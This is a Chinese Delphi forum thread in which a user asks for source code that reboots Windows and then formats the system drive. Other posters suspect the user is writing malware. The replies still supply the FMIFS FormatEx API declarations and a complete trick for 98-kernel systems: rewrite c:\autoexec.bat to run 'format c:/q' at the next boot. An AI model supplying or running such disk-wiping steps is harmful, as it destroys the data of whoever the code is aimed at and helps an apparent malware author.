Delphi中格式化硬盤--＞繼續求解？？？

[FigoZhu]

用ShellExcute执行format命令，试试

[kye_jufei]

其體用法？
1. 運行後能自動重啟98、2000、XP\2003,(已經實現該功能）
2.重啟後格式化系統盤（求源代碼）;
3.可否給源代碼或實例？？

初學Delphi-->SHFormatDrive有些難度！
老妖可否再提示一二？
先謝為上！
調不出WinNT下的格式化對話框？
急啊~~~

[dabaicai]

不会，学习

[Delphi1985]

你要干什麼壞事?

[roverxiao]

呵呵

[浪子家园]

估计是写病毒的或木马的。

直接 改写 盘分区表

[ly_liuyang]

用磁盘管理函数可以实现~
fmifs.dll的

// Chkdsk command in FMIFS

Chkdsk: procedure (
DriveRoot: PWCHAR;
Format: PWChar ;
CorrectErrors: BOOL;
Verbose: BOOL;
CheckOnlyIfDirty: BOOL;
ScanDrive: BOOL;
Unused2: DWORD;
Unused3: DWORD;
Callback: Pointer); stdcall;

// Format command in FMIFS

FormatEx: procedure (
DriveRoot: PWCHAR;
MediaFlag: DWORD;
Format: PWCHAR;
DiskLabel: PWCHAR;
QuickFormat: BOOL;
ClusterSize: DWORD;
Callback: Pointer); stdcall;

// Enable/Disable volume compression command in FMIFS

EnableVolumeCompession: function (
DriveRoot: PWCHAR;
Enable: BOOL): BOOLEAN; stdcall;

适合Win2000以上OS
具体做法,自己研究去~

我靠，病毒代码也有人贴，如果是98内核的系统可以直接修改c:\autoexec.bat文件内容为

@echo off
format c:/q
